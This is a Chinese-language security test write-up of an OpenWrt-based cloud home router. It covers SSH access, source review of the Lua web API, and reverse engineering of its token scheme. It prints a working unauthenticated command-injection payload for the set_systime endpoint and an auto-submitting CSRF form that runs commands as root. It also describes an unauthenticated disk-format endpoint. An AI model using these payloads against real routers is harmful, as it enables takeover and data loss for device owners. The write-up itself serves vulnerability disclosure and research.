很榮幸能夠參加烏云的眾測,之前一直都是以旁觀者的身份在烏云Zone里頭圍觀的,也感謝Insight Labs&烏云的基友給了我這次參加測試的機會。可以說這次整體測試下來,有成功,也有失敗,可謂是收益良多。接下來我就把我這次測試的經驗和大家分享一下。本人技術有限,如有遺漏和不足,敬請大家多多指教。
本次眾測的題目是叫做“某創新應用安全眾測”,一看到這個標題,一種神秘的感覺油然而生,把創新和安全聯系起來,感覺就比較帶勁兒了。根據以往的測試經驗,一個新產品與老產品相比,往往可能存在更多的漏洞,創新也給我們白帽子提供了很好的發現漏洞的機會。其實本次測試的產品,在此之前確實比較少見,不過最近互聯網上又有好幾個廠家在推這類產品。它是一款基于云平臺的家庭路由器產品,官方對它的描述是“可安裝APP的路由器,功能無限擴展,極客為您定制開發!”,把APP的概念引入到路由器上,讓路由器的功能更加的豐富,也是一種趨勢所在。不過個人感覺,涉及到云平臺的東西,一旦安全性出現問題,就將給用戶帶來巨大的影響,所以廠商花大力氣在產品安全上下工夫,也是對用戶負責的體現。
本次測試的產品分為兩個方面,一個是云端服務器的安全,另外一個就是路由器本身的安全。 云端服務器的安全相信大家比較都熟悉,主要就是對網站常見的漏洞、網站邏輯問題和服務器安全進行測試,這里我就不再做過多的表述。本文的重點主要放在對路由器本身的安全測試上。
收到路由器后,我迫不及待的為他寬衣解帶,取出真身,插上電源,進行連接。連接上管理界面以后,發現UI做的十分精致,登陸之后使用FireBug抓包查看其請求的地址,具體如圖所示: ?
玩過OpenWrt的同學應該十分熟悉這串字符,它是登陸后系統所賦予的一個會話令牌,用于驗證用戶是否登陸的。于是,我就聯想到,這款基于云平臺的智能路由器,是不是就是基于OpenWrt二次開發的呢?如果使用OpenWrt進行開發的話,是不是就有可能打開SSH連接端口?最終我的猜想得到了證實,我在云插件當中找到了工程模式插件,進行了安裝,之后使用NMAP對路由器進行端口掃描,掃描結果如圖所示: ?
發現路由器的SSH端口已經打開了,于是使用SSH進行連接,輸入帳號密碼,如圖所示,連接成功! ?
既然這是一款基于OpenWrt二次開發的產品,一般web界面都是使用lua進行開發,然而lua語言是一款腳本語言,可以直接查看其源碼來對其進行漏洞分析。既然這樣,我們就可以通過SFTP下載固件當中的lua源碼,通過黑白盒測試的結合,來更加快速的發現問題。 但是,通過連接測試,發現SFTP服務并未被安裝,于是執行以下兩條命令進行安裝:
opkg update
opkg install vsftpd openssh-sftp-server
執行后,系統出現以下提示: ?
系統提示找不到vsftpd和openssh-sftp-server這兩個軟件包,仔細一看,opkg的更新軟件源為https://upgrade.turboer.com,而不是OpenWrt默認的http://downloads.openwrt.org/snapshots/trunk/ar71xx/packages,可見廠商把更新源修改成了自己的服務器地址,并且該地址并不包含這兩個軟件包。 解決這個問題的辦法很簡單,只要使用vim命令,編輯替換/etc/opkg.conf文件當中的相關內容,就可以將軟件包安裝地址指向官網的地址了。 修改之后,重新執行以下命令,就可以啟動SFTP服務了!
opkg update
opkg install vsftpd openssh-sftp-server
/etc/init.d/vsftpd enable
/etc/init.d/vsftpd start
根據以往對OpenWrt的研究經驗,知道OpenWrt的Web界面源碼是保存在/usr/lib/lua目錄下,于是,使用FileZilla將該目錄下的所有文件都下載到本地,以便分析。如圖所示。 ?
由于之前對lua語言研究的也不多,所以這回也只能夠硬著頭皮的來翻源碼。經過了一段時間的查看以后,發現該路由器Web界面大量采用Ajax技術來調用API接口,而主要功能實現代碼也就是在這些API接口上,這些API接口的代碼則是在/usr/lib/lua/luci/controller/api/下的lua文件當中實現,如圖所示。 ?
首先,我對這些代碼的用戶驗證機制進行了分析,在分析后發現,API中的每個功能都在lua文件的頭部進行定義,其中有一個很重要的參數就是控制是否需要用戶驗證通過才能訪問該接口,具體代碼如圖: ?
這些以entry開頭的代碼,就是對功能函數進行定義,經過測試,如果最后一個參數如果為true,就意味著該接口無需用戶登陸即可訪問! 由于需要驗證的接口采用URL中的stok參數和Cookie中的stok字段來進行驗證,這種驗證方式由于URL中的stok參數無法預測,從而避免了CSRF和XSS攻擊。從危害性上來考慮,無需驗證的接口存在漏洞,將直接影響到路由器以及客戶端計算機的安全。 基于以上幾方面的原因,我們著重對這些無需用戶登陸即可調用的接口進行測試。
經過了全面的閱讀源代碼,發現代碼當中大量使用fork_exec、os.execute、luci.sys.call、luci.util.execi等函數,來調用一些系統命令。這類函數在PHP、JSP、.NET代碼審計當中,一度被列為危險函數。因為這類函數一旦過濾不嚴格,將用戶輸入的非法內容帶入,將直接繼承web服務的權限來執行有害的系統指令。在OpenWrt當中,Web服務的運行權限為ROOT! 所以,一旦無需用戶登陸即可調用的接口當中存在這類的漏洞,攻擊者即可構造惡意頁面,遠程執行任意命令!本地局域網攻擊者也可以直接提交相應的數據,來獲取路由器的權限! 于是,我采用正則表達式來對這些危險函數進行查找,分析其是否有可能執行用戶帶入的危險參數,終于,在system.lua -> set_systime() 函數當中,發現了問題。該函數具體代碼如圖: ?
該API接口從客戶端以POST方式接收date、h、mi、s這是個值,并且沒有經過任何過濾,就放到了luci.util.execi函數當中執行,通過構造date、h、mi、s其中任意值,都可執行任意系統命令,攻擊代碼如下: 向
http://192.168.199.1/cgi-bin/turbo/api/system/set_systime
頁面post以下數據:
date=1&h=1&mi=1&s=1'%3Bid>/tmp/aa.txt%3B'
就會在/tmp/目錄下生成aa.txt,其內容為id命令執行后的結果
uid=0(root) gid=0(root)
遠程攻擊著可以構造自動POST的js代碼,使用xss或者誘騙方式讓用戶訪問,以達到遠程攻擊的效果。 攻擊代碼如下:
<form id='exp' action='http://192.168.199.1/cgi-bin/turbo/api/system/set_systime' method='post'>
<input name='date' value='1'>
? <input name='h' value='1'>
<input name='mi' value='1'>
<input name='s' value="1';id>/tmp/exp.txt;'">
? <input type=submit>
</form>
<script>exp.submit();</script>
該路由產品本身自帶8G的存儲空間,該存儲空間可以為將來一些離線下載的APP提供存儲。但是,在system.lua當中,存在format_disk()函數,該函數的功能是格式化存儲空間并且重啟路由器。最重要的是,該函數無需用戶認證即可訪問,可被遠程攻擊者和局域網攻擊者所利用。其具體代碼如圖: ?
該函數在entry當中設置了true參數,允許未登錄進行訪問,在代碼的12行中設定了強制格式化存儲空間的標記,并且在22行當中執行重新啟動的代碼,系統在重啟后將清空存儲空間當中的數據。
在對路由器的分析過程當中,發現APP應用的控制中心實際上并不存在于路由器當中,而是通過點擊路由器管理界面上的云插件按鈕,來自動跳轉并登陸到app.hiwifi.com上的云平臺來進行管理的。 在點擊管理界面上的云插件按鈕后,系統會跳轉到一個中繼頁面。這個中繼頁面主要實現三個功能:一、檢查路由器是否正常聯網。二、從云端獲取Token。三、使用第二步獲取的Token登錄云平臺。具體代碼如圖所示: ?
分析到這里,大家可能會想,這個token是如何獲取的?有沒有可能偽造呢?同樣,我也被這個問題吸引住了,于是便有了下面的分析。
從上圖中可以分析得出,api/passport/bind_token_v2這個函數的功能就是就是獲取登錄token,我們調出具體的代碼來看一下,代碼如圖所示: ?
從圖中可以看到,是auth.get_token("passport")產生了用于登錄的token,但是經過一段時間的分析,發現auth模塊并不存在于lua源代碼當中,而是以動態鏈接庫的形式存在,來供系統調用的。 通過查找,發現auth函數庫存在于/usr/lib/libauth.so,果斷把它下載下來,進行下一步的分析。
由于libauth.so是一個Linux下的動態鏈接庫,那么我們就請出大名鼎鼎的IDA來對其進行逆向。 將libauth.so拖入IDA主界面,IDA馬上識別出了文件類型,其類型為ELF for MIPS (Shared object)。點擊OK進行進一步的逆向分析。 由于文件體積不大,IDA很快的就講代碼逆向出來 ,如圖所示。 ?
在IDA的左側窗口,我們可以看到這個動態鏈接庫導出的所有函數,由于我們想要取得token的算法,根據函數名,我們很快就判斷,auth_get_token_v2為生成token的函數。 跟進函數內部,發現反匯編的代碼為MIPS的匯編語言,一下子就暈了。不過仔細一看,還是有一些明顯的函數調用,可以大概猜測出token的產生流程。具體反匯編代碼如圖。 ?
通過上圖的逆向結果并結合網絡抓包可以發現,程序是通過向
https://auth.turboer.com/token?app=market&checksum=e3e2cc483211eabdca40dd792f74fab3&name=D4EE07XXXXXX&cnonce=1542612125&[email protected]
地址提交請求所獲取到Token的,本次請求主要包含幾個關鍵字段:checksum(校驗和)、name(設備MAC地址)、cnonce(本地產生的隨機數)、nonce(請求https://auth.turboer.com/nonce所獲取的隨機數)。
那么分析到這里,大家就會想到,是不是可以通過把name參數更改成別人的MAC地址(MAC地址可以通過一些無需登錄即可訪問的接口得到,如api/system/get_info),從而來登錄別人的云平臺控制中心呢?同樣,我也想到了這個問題。不過,根據以往的經驗來看,checksum字段的作用,是用來校驗提交的字段是否被更改。所以,要修改name的值,必須要能夠找出checksum的算法,才能夠構造出讓服務器接受的請求。
在剛剛的IDA逆向分析結果當中,找到了gen_checksum函數,雙擊對其代碼進行查看,函數主要代碼如圖所示。
通過對gen_checksum的分析,發現其中還調用了tw_get_uuid()函數,利用該函數取得的值,來參與校驗碼的生成。那么這個tw_get_uuid()函數取得的值是什么呢?由于libauth.so的tw_get_uuid()為導出函數,那么我們可以通過python來直接調用該函數,取得返回值,來看看這到底是個什么東西。 我在路由器上安裝了Python,并寫了一段代碼,直接調用該函數,并打印返回值,具體代碼如下:
from ctypes import*
auth=CDLL("libauth.so")
uuid = c_char_p("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
auth.tw_get_uuid(uuid)
print uuid.value
運行后結果如圖:
從圖中可以看出,uuid像是設備的序列號。
從以上的分析結果可以看出,checksum的計算是根據uuid和MAC等參數共同計算得出的,由于每臺設備的uuid并不相同,所以即使得到對方的MAC地址,也無法通過偽造請求來進行利用。這種多因素校驗的機制,極大的保障了云平臺用戶的安全。
從本次測試的結果來看,該創新型家庭路由產品在安全方面總體還是值得肯定的,主要體現在其產品架構方面充分的考慮到了對之前在其他路由產品存在的CSRF攻擊進行防御,并設計了一套較為安全的Token認證機制,用于云平臺與本地路由設備的連接。由此可以看出廠商在產品安全方面還是下了比較大的功夫。但是,從反映出來的一些安全問題上來看,產品還存在著一些接口權限控制不嚴格,沒有進行傳參過濾的問題。希望本次的測試結果能夠為將來廠商對產品的改進提供一定的幫助,讓廣大網友用上更好更安全的產品。